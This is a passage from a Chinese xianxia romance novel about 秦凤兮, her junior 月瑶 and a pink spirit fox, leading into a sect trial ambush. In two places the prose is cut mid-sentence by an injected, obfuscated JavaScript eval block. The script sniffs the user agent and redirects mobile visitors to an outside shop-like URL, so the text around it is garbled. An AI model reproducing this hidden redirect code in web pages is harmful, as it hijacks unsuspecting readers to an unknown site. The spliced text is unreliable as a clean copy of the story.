她想碰一碰月瑶的脸颊,想将那缕散落在她眉间的碎发拨开,想感受一下那被灵果酿染红的脸颊是否真的像看起来那样温热柔软。
她的指尖悬在月瑶脸颊上方一寸处,停了很久。
最终,她还是收回了手。
她从衣架上取下一件干净的里衣——是她的,月瑶穿着会大很多——轻轻放在榻边。又去炉上倒了杯温水,放在床头的小几上。然后拉过被子,轻轻盖在月瑶身上,连被角都仔仔细细地掖好了。
做完这一切,秦凤兮在榻边坐了下来。
她的洞府里只有一张石榻,今晚她打算坐在这里守一夜。
月瑶却在这个时候睁开了眼睛。
醉意朦胧的琥珀色眸子看着秦凤兮,眨了几下,然后弯成了月牙。
”师姐,“她的声音软软糯糯的,带着酒意的黏糊,”你对我真好~“
秦凤兮没有说话。
月瑶从被子里伸出手,摸索着找到了秦凤兮放在膝头的手,轻轻握住了。那只冰凉的手在她温热的掌心里微微颤了一下,没有抽回去。
”师姐,“月瑶闭上眼睛,声音越来越轻,像是梦呓,”你不要怕……别担心,我的血还有很多……够你用很久很久的……“
秦凤兮的呼吸骤然一滞。
她低下头,看着月瑶那张恬静的睡脸,看着那双即使醉了也要握住她的手,看着那唇边还挂着的笑。
有什么温热的东西从她的眼眶里落了下来,落在月瑶的手背上。
月瑶在睡梦中轻轻「嗯」了一声,手指下意识地收紧了几分。
秦凤兮抬起另一只手,用袖子飞快地擦去了脸上的痕迹。然后她俯下身,将额头轻轻抵在月瑶的肩膀上,闭上了眼睛。
月光将这一切都看在眼里,沉默地洒下满室清辉。
那夜很长。
但在那张窄窄的石榻上,两个人的手始终没有分开。
秦凤兮有一只灵宠。
这件事知道的人不多。不是因为她刻意隐瞒,而是那只小东西实在太小了——小到缩在秦凤兮的袖中时,几乎看不出来那里藏着一个活物。
那是一只粉晶色的狐狸,通体毛发如霞光浸染,从背脊到尾巴尖渐变出蜜桃般的粉润色泽,在月光下会泛出细碎的荧光,像是将一整个春天的桃花都揉进了皮毛里。它叫莹莹,体型不过巴掌大,四只小脚踩在秦凤兮的掌心时,轻得像一片落叶。
莹莹是被秦凤兮捡回来的。
那是在三年前的一个雪夜,秦凤兮在极北之地的冰窟中修行时,听到了细微的呜咽声。她循声找去,在一道冰缝中发现了这只奄奄一息的小狐狸——它的母亲已经冻死了,尸体僵硬地蜷缩成一团,却仍是将小小的幼崽护在身下。
秦凤兮不知道自己为什么要救它。她不是一个心软的人,向来不是。但那天她蹲在冰缝边上,看着那双同样是浅粉色的、湿漉漉的眼睛,沉默了很久,最后还是伸出手,将它从母亲僵硬的怀抱中取了出来。
莹莹很黏她。
但它很聪明,从不在人前出现。它知道主人的身份特殊,知道那些长老和弟子们看到一只粉晶色的灵狐会生出多少不必要的念头。所以它总是乖乖地缩在秦凤兮的袖中,偶尔探出头来,用湿润的小鼻子碰一碰秦凤兮的指尖,然后又缩回去。
这天夜里,秦凤兮从琼花宴上回来时,脸色不对。
莹莹从她袖中探出头来,粉色的鼻尖在空中嗅了嗅——它闻到了血腥味。不是主人的血,而是另一种气息,带着极阴之体特有的冰凉甜香。
月瑶的心头血。
莹莹知道那个味道。每一次主人取完血回来,身上都会沾染这种气息。但今晚不一样,除了血腥味,还有另一种它从未在主人身上闻到过的味道。
酒。
主人不太饮酒。
莹莹从袖中钻出来,跳上石桌,蹲在那里看着秦凤兮。它的小脑袋歪了歪,那双漂亮的粉色的眼睛一眨不眨地盯着主人的脸。
秦凤兮没有看它。
她走到窗前,推开窗户,让夜风灌进来。月光照在她身上,将
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590588|205443||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那张清冷的面容映照得如同冰雕。她站了很久,久到莹莹开始不安地甩动尾巴。
然后莹莹看到了。
一滴泪水从秦凤兮的脸颊滑落,无声地坠入月光之中。
莹莹愣住了。
它跟了秦凤兮三年,从未见过主人落泪。在冰窟中奄奄一息时没有,被魔凰血脉反噬折磨得浑身是血时没有,被宗门长老们以各种名义施压时也没有。它一度以为主人是不会哭的,那双浅色的眼睛里装不下泪水这种东西。
但现在,那双眼睛里正有一行清泪无声地淌下来,像是冰川内部终于裂开了一道缝,藏了千万年的水从缝隙中渗了出来。
”嘤!“莹莹轻声叫了一下,从石桌上跳下来,小跑到秦凤兮脚边,用脑袋蹭了蹭她的脚踝。
秦凤兮低下头,看着脚边那团粉色的绒球,弯腰将它捞起来,捧在掌心。
莹莹伸出小小的舌头,舔了舔秦凤兮的指尖。咸的。
”莹莹…“秦凤兮的声音很轻,轻得像是怕惊动什么,”我真的不想伤害她。“
莹莹竖起了耳朵。
秦凤兮垂下眼帘,看着掌心那只小狐狸。月光下,她的睫毛上还挂着细碎的水光,整个人褪去了所有坚硬的壳,露出底下柔软到不堪一击的內里。
”每一次取血,我都知道她的骨髓在减少。每多一滴,她就离那个结局更近一步。”她的声音微微发颤,但语气依然平静,像是在说一件她已经想了千百遍的事情,“我想停下来。但魔凰血脉不会停,它每天都在我体内撕咬,每天都在变得更强。如果我不压制它,总有一天它会冲破封印,到那时候……“
她没有继续说下去。
莹莹用小爪子轻轻按了按她的掌心,像是在说:我在听。
”掌门给了她浮灵果,说可以滋养骨髓。一颗浮灵果能补回三滴心头血的损耗,而我每半个月取她三滴。“秦凤兮的嘴角动了一下,不是笑,而是某种更苦涩的东西,”我在用她的命续我的命,然后用灵果补她的命。像一个永远打不破的循环,这就像是一笔永远还不清的债。“
她停了很长时间。
风从窗口吹进来,吹动她散落在肩后的长发。
”莹莹,你知道吗,她从来没有抱怨过。一次都没有。“秦凤兮的声音低了下去,”她会笑着叫我师姐,会在我给她上药时说谢谢,会在我渡灵力给她时乖乖闭嘴。她甚至会安慰我,说她的血够我用很久很久。“
”她不知道,我每次听到这些话,都觉得自己像是一个双手沾满鲜血的罪人…“
莹莹轻轻叫了一声,从秦凤兮的掌心站起来,两只小前爪搭在她的胸口,粉色的眼睛直直地看着她。
那双眼睛里有它想说却说不出的话。
主人,月瑶对你来说,一定非常重要吧。
秦凤兮低头看着它,像是听懂了它未尽的话语。
”重要。“她说。
只有两个字,但这两个字从秦凤兮嘴里说出来,比任何人的千言万语都重。
莹莹用脑袋蹭了蹭秦凤兮的下巴,发出细细的、安抚般的呜呜声。
秦凤兮闭上眼睛,将莹莹轻轻贴在自己的脸颊边。那团温热的绒毛蹭过她的皮肤,带来一点点微弱的暖意。
”我该怎么办,莹莹?“
莹莹没有回答。它只是安静地蜷在秦凤兮的掌心,用小爪子轻轻按着她的手指,一下又一下,像是在说:没关系的,我在这里,我一直都在这里。
秦凤兮睁开眼睛,低头看着它。
月光下,那双粉色的狐狸眼睛里倒映着她的面容,清澈得像一面镜子。她在那双眼睛里看到了一个疲惫的、脆弱的、卸下了所有伪装的自己。
她忽然想起月瑶那双琥珀色的眼睛。
那双眼睛里从来没有倒映过这样的她。
在月瑶面前,她永远是那个冷静自持、掌控一切的首座弟子。她不敢让月瑶看到自己这个样子,不敢让月瑶知道她的软弱、她的挣扎、她每一次取血时几乎要将玉碗捏碎的那种痛。
她只能把这些说给莹莹听。
一只不会说话的狐狸。
秦凤兮将莹莹举到眼前,与它对视。
”莹莹,“她的声音很轻很轻,”你说,她会不会有一天……原谅我?“
莹莹歪了歪脑袋,粉色的眼睛眨了一下。
然后它伸出小小的舌头,轻轻舔了舔秦凤兮的鼻尖。
秦凤兮愣了一下。
月光下,她终于笑了。不是苦笑,不是自嘲,而是一个真正的、温暖的、带着一丝自嘲的温柔笑意。
”你也不知道,对不对?“
莹莹用尾巴扫了扫她的手腕,像是在说:我不知道,但我会一直陪着你。
秦凤兮将它放回袖中,重新走到窗前。
月亮已经升到了天顶,将整座昆吾山笼罩在一片银白之中。她看向月瑶洞府的方向——隔着几座山峰,当然什么都看不到。
但她还是看了很久。
袖中的莹莹探出头来,顺着她的目光望去,小小的粉色鼻子在空气中嗅了嗅。
它闻到了。
在那个方向,有一缕极淡极淡的、冰凉的甜香。那是极阴之体的气息,也是它在这三年里,第一次让主人露出那种表情的人。
莹莹缩回袖中,把自己蜷成一个毛茸茸的粉色小球。
它不懂人类那些复杂的情感,不知道什么是亏欠,什么是心疼,什么是爱。
但它知道一件事。
主人从来没有为任何人哭过。
从来没有。
直到今晚。直到那个叫月瑶的女孩出现。
6. 试炼,赤凰的感应
瑶第一次见到莹莹,是在一个雨后初晴的午后。
那天她去秦凤兮的寝殿取血,推门进去时没看到人,只听到裡间传来一阵细微的窸窣声。她以为秦凤兮在换衣服,便老老实实地站在外间等著,目光无聊地扫过书案、药柜、窗台——然后瞬间定住了。
窗台上有一团粉色的东西。
那团东西蜷在阳光裡,毛茸茸的,小小的一团,像是谁把一朵桃花揉碎了堆在那裡。它在打盹,小小的身体随著呼吸轻轻起伏,粉色的皮毛在阳光下泛著细碎的荧光,美得不像真实存在的生物,倒像是画裡才会出现的精灵。
月瑶瞪大了眼睛。
她屏住呼吸,蹑手蹑脚地走过去,每一步都轻得像踩在云上。她在那团粉色面前蹲下来,双手撑著膝盖,把脸凑得很近很近,近到能看清那每一根绒毛在阳光下闪烁的光泽。
然后那团东西动了一下。
两隻小小的耳朵先竖了起来,抖了两下,像是在确认声音的来源。然后一颗小脑袋从毛茸茸的身体裡抬起来,露出一张巴掌大的狐狸脸——粉色的鼻尖,粉色的眼眶,粉色的绒毛,整隻小狐狸粉得像一块会呼吸的水晶糕点。
那双粉色的眼睛睡眼惺忪地眨了眨,对上了月瑶的目光。
月瑶整个人像是被雷劈中了一样,僵在原地。
然后她发出了一声尖叫。
“啊——!!!”
那声尖叫又尖又亮,穿透力极强,从山顶的寝殿一路传到了半山腰。正在山道上巡逻的内门弟子齐齐打了个寒颤,他们还以为有什麽凶兽闯入了宗门。
莹莹被这声尖叫吓得浑身的毛都炸了起来,整隻狐狸从窗台上弹飞起来,在空中翻了个跟头,四隻小爪子胡乱扑腾了几下,最后一头扎进了月瑶的怀裡——不是因为它想,纯粹是因为吓懵了,找错了方向…
月瑶手忙脚乱地接住了这团粉色的绒球。
莹莹在她掌心裡瑟瑟发抖,毛髮炸得像一朵蒲公英,粉色的眼睛瞪得圆溜溜的,裡面写满了惊恐和委屈。
月瑶却完全没有意识到自己吓到了它。
她捧著莹莹,两隻眼睛放光,那光芒比她在擂台上赢了赵寒时还要亮十倍。她的嘴唇在发抖,声音在发抖,整个人都在发抖。
“怎麽有这麽漂亮的宝贝!!!”
这句话她喊得声嘶力竭,中气十足,完全不像一个刚刚被取过心头血的人。
秦凤兮从裡间走出来时,看到的就是这样一幅画面:月瑶跪坐在窗台前的地上,双手捧著莹莹,莹莹在她掌心裡瑟瑟发抖,而月瑶本人的眼眶裡已经泛起了激动的泪花。
那泪花看起来比取血时还要真诚。
秦凤兮站在那裡,看了三秒钟,确定自己没有产生幻觉。
“那是我的灵宠,叫莹莹。”她说。
月瑶猛地转过头来,琥珀色的眼睛亮得像两盏灯:“师姐!你居然养了这麽可爱的宝贝!你从来没告诉过我!”
“……你没问。”
“它叫莹莹?莹莹!莹莹!!”月瑶低下头,对著掌心裡的小狐狸连叫了两声,语气甜得能拉出丝来,“你怎麽这麽好看啊,你是我见过最好看的狐狸,不对,你是我见过最好看的东西,不对,你是我见过最好看的——”
她词穷了,是因为她脑海裡找不到任何一个词能够形容莹莹的可爱。
莹莹终于从震惊中回过神来,小心翼翼地抬头看了月瑶一眼。
它认得这个气息。极阴之体,冰凉的甜香,主人每次取血后身上都会沾染的那个味道。它还记得前天晚上主人抱著它说「重要」的时候,目光投向的就是这个方向。
这是那个对主人来说非常重要的人。
莹莹的恐惧慢慢退去了。它抖了抖毛髮,让那些炸开的绒毛重新变得服帖,然后试探性地伸出小舌头,舔了舔月瑶的指尖。
月瑶发出了今天的第二声尖叫。
“它舔我了!!!师姐它舔我了!!!”
秦凤兮看著月瑶那副激动得快要晕过去的样子,嘴角不由自主地动了一下。她转过身,假装去整理药柜,不让月瑶看到自己脸上的表情。
取血结束后,月瑶没有像往常一样立刻离开。
她抱著莹莹——准确地说,是莹莹被她抱著,想跑也跑不掉——坐在秦凤兮的寝殿门口,一边晒太阳一边用手指轻轻梳理著莹莹的毛髮。莹莹一开始还有些拘谨,但月瑶的手指很温柔,力度恰到好处,挠得它从下巴到尾巴尖都酥酥麻麻的,不知不觉就眯起了眼睛,发出了细细的呼噜声。
“师姐,”月瑶头也不抬地问,“莹莹都吃什麽?”
秦凤兮坐在书案前批阅宗门文书,闻言顿了一下:“灵果、灵泉、偶尔吃一些灵兽肉——”
“我知道了!“月瑶打断了她的话,站起来,把莹莹小心翼翼地放在石台上,郑重其事地蹲下来与它平视,”莹莹宝贝,你在这裡等著,我去给你做好吃的。“
莹莹歪了歪脑袋,粉色的大眼睛裡写满了困惑。
月瑶转身就跑,跑出去两步又折返回来,从袖子裡掏出一块帕子,叠成一个小枕头的样子垫在莹莹身下,这才放心地飞奔而去。
秦凤兮放下毛笔,看著月瑶消失在山道转角的背影,沉默了片刻。
她看了一眼莹莹。
莹莹也看向她。
一人一狐对视了几秒。
”她是个小傻子,“秦凤兮说。
莹莹眨了眨眼,像是在说:主人,你笑的时候可没这麽说。
秦凤兮垂下眼帘,重新拿起毛笔,继续批阅文书。但她的嘴角一直挂著那个极淡极淡的弧度,怎麽也收不回去。
半个时辰后,月瑶回来了。
她手裡端著一隻小碗,碗裡装著一些看不出原材料的东西,颜色是浅浅的蜜色,散发著一股香甜的气味。她的脸上沾了些麵粉,袖子上也有,头髮上也有,整个人像是一隻在麵粉缸裡滚过的猫。
”莹莹,这是我用灵米、灵蜜还有几种灵果调的,“她把小碗放在莹莹面前,眼睛亮晶晶的,”我没有做过狐狸吃的东西,不知道合不合口味,你先试试——“
莹莹低头看了看碗裡的东西,又抬头看了看月瑶那张充满期待的脸。
它的鼻子动了动。
好香。
那股香甜的气息鑽进鼻腔,让它的口水一下子就涌了上来。它试探性地伸出舌头,舔了一口。
然后它的耳朵猛地竖了起来。
再舔一口。
再舔一口。
再舔一口。
莹莹把整张脸都埋进了碗裡,吃得头都不抬,小小的粉色尾巴在身后疯狂摇摆,摇得像一面旗帜。它发出「吧唧吧唧」的声音,吃得满脸都是糊糊,粉色的绒毛被染成了蜜色,但它完全不在乎,甚至连碗底都舔得乾乾淨淨,最后还把碗翻了过来,确认下面没有藏著更多。
吃完之后,它抬起头,粉色的眼睛亮得像两颗星星,直直地看著月瑶。
然后它做了一件让秦凤兮大跌眼镜的事。
莹莹从石台上跳下来,跑到月瑶脚边,用脑袋使劲地蹭她的脚踝,一边蹭一边发出「嘤嘤嘤」的声音,那声音又软又黏,像是小猫在撒娇,又像是婴儿在讨抱抱。
秦凤兮坐在书案前,手中的毛笔悬在半空,一滴墨落在文书上,洇开了一个黑色的墨点。
她养了莹莹三年。
三年来,莹莹从来没有对她撒过娇。
一次都没有。
那隻小狐狸永远是安静的、懂事的、小心翼翼地缩在她的袖子裡,用一双乖巧的眼睛看著她,从不给她添任何麻烦。她一度以为莹莹天生就是这种性格——温顺、听话、不黏人。
现在她知道了。
莹莹不是不黏人,是没遇到对的人。
月瑶蹲下来,把还在「嘤嘤嘤」的莹莹捧起来,贴在自己脸颊边蹭了蹭,笑得眼睛都眯成了缝:”莹莹!你喜欢吃对不对?太好了!我以后天天给你做!“
莹莹伸出两隻小爪子,抱住月瑶的手指,把脸埋进她的掌心,发出满足的「咕噜咕噜」声。
秦凤兮放下毛笔,静静地看著这一幕。
阳光从窗口照进来,落在月瑶和莹莹身上,将她们笼罩在一片温暖的光晕中。月瑶的笑声清脆得像铃铛,莹莹的小尾巴摇得像风车,两个人在阳光下滚成一团,粉色的绒毛和青灰色的道袍交缠在一起,像一幅会动的画。
秦凤兮看了很久。
然后她低下头,假装在批阅文书。
但她的嘴角已经彻底弯了起来,弯成了一个收不回去的笑容。
那天晚上,月瑶离开后,莹莹蜷在秦凤兮的袖中,小脑袋枕著她的手腕,发出均匀的呼吸声。它的肚子吃得圆滚滚的,粉色的绒毛上还残留著蜜色的痕迹,偶尔在睡梦中咂巴一下嘴,像是还在回味那个味道。
秦凤兮低头看著它,轻轻用手指点了点它的小鼻头。
”小叛徒。“她说,语气裡没有一丝责备。
莹莹在睡梦中翻了个身,把肚皮露了出来,四隻小爪子朝著天,嘴边还挂著一丝口水。
秦凤兮将它轻轻放回袖中,走到窗前。
月光很好。
她看向月瑶洞府的方向,那个方向的灯火还亮著,隐隐约约能看到一个小小的身影在窗前忙碌——大概是在研究明天给莹莹做什麽好吃的。
秦凤兮靠在窗框上,双手拢在袖中,指尖轻轻碰了碰莹莹温热的小身体。
”莹莹,“她低声说,”她对你也很好,对不对?“
莹莹在睡梦中轻轻「嗯」了一声,尾巴无意识地甩了甩。
秦凤兮闭上眼睛,嘴角挂著一个连她自己都没有意识到的、温柔至极的笑容。
月光将她的影子投在牆上,孤零零的,但不再像从前那样冰冷了。
因为那影子的袖口处,多了一团小小的、圆圆的、毛茸茸的凸起。
内门试炼的日子定在了秋分。
这不是月瑶上次参加的那种小打小闹的入门选拔,而是真正的内门大比。参赛者皆是筑基后期以上的内门精英,试炼场设在昆灵宗以北三百里的万兽荒原——那裡灵兽横行,瘴气瀰漫,每年都有弟子在试炼中重伤,甚至陨落。
月瑶本不该参加。
她修为不过筑基三层——这还是这半年来被浮灵果和秦凤兮的本命灵力硬生生堆上去的。放在内门大比的擂台上,她依然是修为最低的那一个。
但月瑶自己报了名。
”我想试试。“她对秦凤兮说这话时,正抱著莹莹在寝殿门口晒太阳,语气轻鬆得像在说今天想去山下的集市逛逛。
秦凤兮正在擦拭凌凊剑,闻言手上的动作停了。
”不行!“
”为什麽?”
“太危险。“
”师姐,“月瑶转过头来看著她,琥珀色的眼睛裡带著笑,”你当初收我的时候,可不是这麽说的。你说『从今天起你是我的人了』,又没说『从今天起你是我养在笼子裡的金丝雀』。“
秦凤兮没有说话。
她知道月瑶说得对。月瑶从来就不是需要被人护在羽翼下的那种人。她是那个在擂台上用筑基一层的修为打败金丹一层的疯子,是那个被锁链穿过肩胛骨时还在笑的人。她不需要保护,她需要的是信任。
但秦凤兮还是怕。
不是怕月瑶会输——输赢在秦凤兮眼裡从来不重要。她怕的是月瑶会受伤,会流血,会在她看不到的地方疼得咬紧牙关却一声不吭。
这种怕,比她体内魔凰血脉的任何一次反噬都要来得猛烈。
”让我想想…“秦凤兮最终说。
月瑶没有催她,只是笑著转过头去,继续给莹莹顺毛。莹莹在她腿上翻著肚皮,四隻小爪子蜷在胸前,发出满足的呼噜声。
秦凤兮看著她们,沉默了很久。
秋分那日,万兽荒原。
试炼场设在荒原深处一片开阔的谷地中,四周群山环抱,谷中灵气浓郁得近乎粘稠,但空气中隐隐浮动著一股危险的气息——那是潜藏在暗处的高阶灵兽散发出来的威压。
参赛的内门弟子一共有三十六人,修为从筑基后期到金丹中期不等。月瑶站在队列最末尾,青灰色的道袍在风中猎猎作响,长髮束成一个利落的马尾,整个人看起来精神抖擞。
但她手裡没有剑。
她从来就没有剑。
周围的弟子们时不时向她投来複杂的目光——这个被秦师姐养在身边的极阴之体,居然敢来参加内门大比?是嫌命太长了吗?
月瑶不在意这些目光,她只是在人群中搜寻著一个身影。
没找到。
秦凤兮没有来。
月瑶垂下眼帘,说不清心裡那点空落落的是什麽感觉。她深吸一口气,甩了甩头,将那点不该有的情绪甩出脑海。
没有关係。她本来就是一个人长大的。
”月瑶。“
那个声音从天而降。
月瑶猛地抬头。
秦凤兮踏剑而来,玄色的法衣在阳光下泛著冷冽的光泽,长髮随风飞扬,整个人如同一柄出鞘的利剑从天际划过。她落在月瑶面前,衣袂翻飞带起的风将周围的尘土捲起一个小小的漩涡。
全场安静了。
不仅仅是因为秦凤兮的出现——她作为首座弟子来视察试炼本是常事。让所有人屏住呼吸的,是她手中的东西。
两把剑。
左手一柄通体雪白,剑身莹润如玉,剑格处镶嵌著一枚冰蓝色的宝石,隐隐有寒气从剑锋上溢出,将周围的空气凝结成细碎的冰晶。那是(凌凊剑),秦凤兮的随身佩剑,昆灵宗十大名剑之一,陪她从筑基走到半步元婴,从未离身。
右手一柄赤红如血,剑身上流转著暗红色的纹路,像是岩浆在剑刃中缓缓流淌,剑柄处镶嵌著一枚凤凰展翅的赤金雕饰,整柄剑散发出一种古老而狂暴的气息,彷彿剑鞘之内封印著的不是一柄剑,而是一头远古的凶兽。
那是(赤凰)。
昆灵宗的镇宗神器之一,传说为远古凤凰的尾羽所铸,历代只有宗主和首座弟子有资格佩戴,且需要得到神器的认可才能驾驭。
两柄剑,一冰一火,一静一狂。
同时握在秦凤兮手中。
月瑶愣住了。
“师姐?”
秦凤兮走到她面前,将凌凊剑和赤凰一併递出。
“选一柄,”她说,语气平淡得像在说「今天天气不错」,“让它陪你去试炼。”
谷地裡炸开了锅。
“凌凊剑?赤凰?秦师姐要把这两把剑借给那个筑基期的外门弟子?”
“开什麽玩笑!赤凰可是神器!认主的神器!除了秦师姐谁能用?”
”凌凊剑跟了秦师姐十年,剑都认主了,外人根本无法催动——“
议论声开始此起彼伏,连主持试炼的长老都皱起了眉头,张了张嘴想说什麽,但看到秦凤兮那张毫无表情的脸,又把嘴闭上了。
月瑶站在那裡,看著面前两柄剑,琥珀色的眼睛睁得大大的。
凌凊剑上的寒气扑面而来,冰凉而熟悉——那是秦凤兮身上常有的气息,冷冽、乾淨,像雪后的空气。赤凰则完全不同,它的气息灼热而狂躁,像一头沉睡的猛兽在呼吸,每一次灵力的脉动都带著让人胆寒的威压。
“师姐,我……我不会用剑。”月瑶说。
这是实话。她从未学过剑法,在擂台上用的都是最粗浅的拳脚功夫,连一柄像样的兵器都没有拥有过。
“没关係,”秦凤兮的声音很轻,只有月瑶听得到,“它们会保护你。”
月瑶看著她的眼睛。
那双浅色的眼睛裡没有任何犹豫,没有勉强,没有她预期中会出现的「担心」或「不捨」。有的只是一种笃定的、沉静的、不容置疑的信任。
她在说:我相信你可以。
她在说:但如果你不行,我的剑会替你挡下一切。
月瑶的眼眶忽然有些发酸。她飞快地眨了几下眼睛,将那点湿意眨了回去,然后伸出手。
她选择了凌凊剑。
不是因为赤凰不够好,而是因为凌凊剑上有秦凤兮的气息。握著它,就像握著那个人的手,冰凉的、稳稳的、让人安心的。
月瑶的手指触上剑柄的瞬间,凌凊剑发出了一声清越的嗡鸣。
那声音不大,但在场所有人都听到了。
长老的眼睛瞪大了。
凌凊剑没有反抗。
它跟了秦凤兮十年,剑灵早已与秦凤兮的神识深度融合,对外人向来排斥。曾有金丹期的长老尝试握住凌凊剑,被剑灵震得虎口开裂,鲜血直流。
但此刻,那柄剑在月瑶手中安静得像一隻被顺了毛的猫。
剑身上的寒气没有攻击她,反而温顺地缠绕上她的手腕,像一条冰凉的丝带,轻轻系在那裡。
全场死寂。
秦凤兮看著这一幕,嘴角微微动了一下。
她知道会这样。
凌凊剑跟了她十年,剑灵与她的心意相通。而她的心意——从很久以前开始,就只朝著一个方向。
剑灵不过是学会了主人的偏爱。
“去吧,”秦凤兮收回赤凰,退后一步,目光落在月瑶脸上,“一定要活著回来。”
月瑶握紧凌凊剑,冰凉的剑柄在掌心渐渐被体温捂热。她看著秦凤兮,忽然笑了,笑得眉眼弯弯,笑得像春天裡最早绽放的那朵花。
“师姐,你放心,”她说,“我还要回来给莹莹做好吃的呢。”
秦凤兮没有说话。
但在月瑶转身走向试炼场的那一刻,她伸出手,极快地碰了碰月瑶垂在身侧的指尖。
一触即分。
快得像是不曾发生过。
但月瑶感觉到了。
她没有回头,只是将凌凊剑又握紧了几分,脚步坚定地走进了荒原深处的雾气中。
秦凤兮站在原地,目送那道青灰色的身影消失在山谷的转角处。
袖中的莹莹探出头来,粉色的鼻子在空气中嗅了嗅,轻轻”嘤“了一声。
“我知道,”秦凤兮低声说,将莹莹按回袖中,“我相信她,她一定会没事的。”
她说这话的时候,声音很稳。
但她握著赤凰剑的手指,指节泛白。
万兽荒原深处,月瑶握著凌凊剑,独自走在瘴气瀰漫的山道上。
剑身上的寒气在她身周形成了一层薄薄的冰蓝色护罩,将瘴气隔绝在外。剑灵安静地蛰伏在剑身中,时不时散发出一股温和的灵力波动,像是在安抚她的情绪。
月瑶低头看著手中的剑,忽然笑了。
“你也觉得我能行,对不对?”
凌凊剑轻轻震动了一下,发出细微的嗡鸣,像是在回应。
月瑶的笑容更深了。她将剑横在身前,用指尖轻轻拂过冰凉的剑身,感受著那股熟悉的、清冽的、让人安心的气息。
“那我们走吧,”她说,“别让师姐等太久。”
远处,山谷的另一端。
秦凤兮站在最高的那块岩石上,衣袍被山风吹得猎猎作响。她的目光穿过层层叠叠的雾气和密林,始终锁定著那个小小的青灰色身影。
赤凰剑插在她脚边的岩石中,剑身上的赤红纹路缓缓流转,像是岩浆在血管中奔涌。
莹莹从袖中探出头来,顺著主人的目光望去。
它看不到月瑶——太远了。
但它能看到主人的侧脸。
那张向来冷淡的面容上,此刻写满了它从未见过的表情。不是担心,不是害怕,而是一种更深的、更静的、像是在用心而非眼睛凝视某人的神情。
莹莹轻轻蹭了蹭主人的手腕。
秦凤兮没有低头,但她的手轻轻按了按袖口,像是在说:我没事。
风从荒原深处吹来,带来一丝极淡极淡的、冰凉的甜香。
秦凤兮闭上眼睛,深深地吸了一口气。
“月瑶,”她无声地说,“一定要回来。”
“我有话要告诉你。”
试炼进行到第三日,月瑶已经猎杀了七头低阶灵兽,采集了十馀种稀有灵草,积分在三十六名弟子中排在中游。这个成绩对于一个筑基三层的弟子来说,已经堪称奇迹。
凌凊剑在她手中发挥了难以置信的作用。那柄剑仿佛有自己的意志,每当灵兽扑来,它会抢在月瑶反应之前震动剑身,引导她的手腕刺向最致命的角度。月瑶甚至觉得,不是她在用剑,而是剑在带著她战斗。
但她不知道的是,有一双眼睛一直在暗处盯著她。
赵寒。
三个月前在擂台上被月瑶击败的那个内门弟子,金丹一层,赵氏旁□□场败绩让他成了内门的笑柄——一个金丹期的修士被筑基期的外门丫头打败,这份耻辱像毒蛇一样日夜啃噬著他的心。
他等了三个月,终于等到了这个来之不易的机会。
万兽荒原没有长老监督,没有规则约束,在这片蛮荒之地,一个弟子「意外」死在灵兽口中,是再正常不过的事。
第三日夜,月瑶在一片密林中生火休息。
她靠在一棵古树下,凌凊剑横在膝上,闭目调息。三日的连续战斗让她的灵力消耗大半,身体疲惫不堪,但她的神识始终保持著警戒。
她听到了一声极细微的破空声。
不是灵兽,是人的脚步。
月瑶睁开眼睛的瞬间,一道凌厉的剑气已经劈到了面前。
她来不及拔剑,整个人向侧方翻滚出去,剑气擦著她的肩膀掠过,将身后的古树劈成两半。木屑纷飞中,月瑶看清了偷袭者的脸。
赵寒。
他的眼睛裡燃烧著压抑了三个月的怨恨,手中赤炎剑上的火焰比擂台上那次更加炽烈,显然这三个月他没有荒废修炼。
“月瑶!”他咧嘴笑了,笑容狰狞,“好久不见。”
月瑶没有说话,只是握紧了凌凊剑,缓缓站起身来。她的右肩被剑气擦伤,鲜血顺著手臂滴落,但她连看都没看一眼。
“赵师兄,试炼中攻击同门,可是重罪。”
“重罪?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590589|205443||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”赵寒笑了起来,“谁会知道?这片林子裡只有你我,等你的尸体被灵兽啃乾淨了,谁能证明你不是自己找死?”
他不再废话,赤炎剑挟裹著金丹期的灵力轰然斩下。
月瑶举剑格挡。凌凊剑的寒气与赤炎剑的火焰碰撞在一起,爆发出刺耳的嗡鸣。巨大的力量差距让月瑶整个人被震飞出去,后背撞上一棵大树,喉头一甜,嘴角渗出血来。
金丹与筑基的差距,不是一柄好剑能够弥补的。
赵寒没有给她喘息的机会,第二剑、第三剑接连斩下,每一剑都带著杀意。月瑶勉强躲过前两剑,第三剑避无可避,眼看著那道赤红的剑气就要将她拦腰斩断——
一道赤金色的光芒从天而降。
那不是剑气,不是灵力,而是一股近乎神罚般的威压,从万兽荒原的某个方向破空而来,精准地轰在了赵寒的赤炎剑上。
赤炎剑应声而碎。
不是断裂,是粉碎。剑身化作了无数赤红的碎片四散飞溅,像是被一股无法抗拒的力量从内部炸开。赵寒惨叫一声,握剑的右臂被碎片划得血肉模糊,整个人倒飞出去,砸断了三棵大树才停下来。
那道赤金色的光芒没有就此消散。
它在空中凝滞了一瞬,然后缓缓降下,悬浮在月瑶身前。
月瑶睁大了眼睛。
那是一柄剑。通体赤红如血,剑身上流转著暗红色的纹路,剑柄处的凤凰展翅雕饰在夜色中散发著灼灼光芒——是赤凰!!!
秦凤兮的赤凰。
月瑶记得这柄剑。试炼开始前,秦凤兮曾将它和凌凊剑一起递到她面前,让她「选一柄」。她选了凌凊,秦凤兮便将赤凰收了回去。
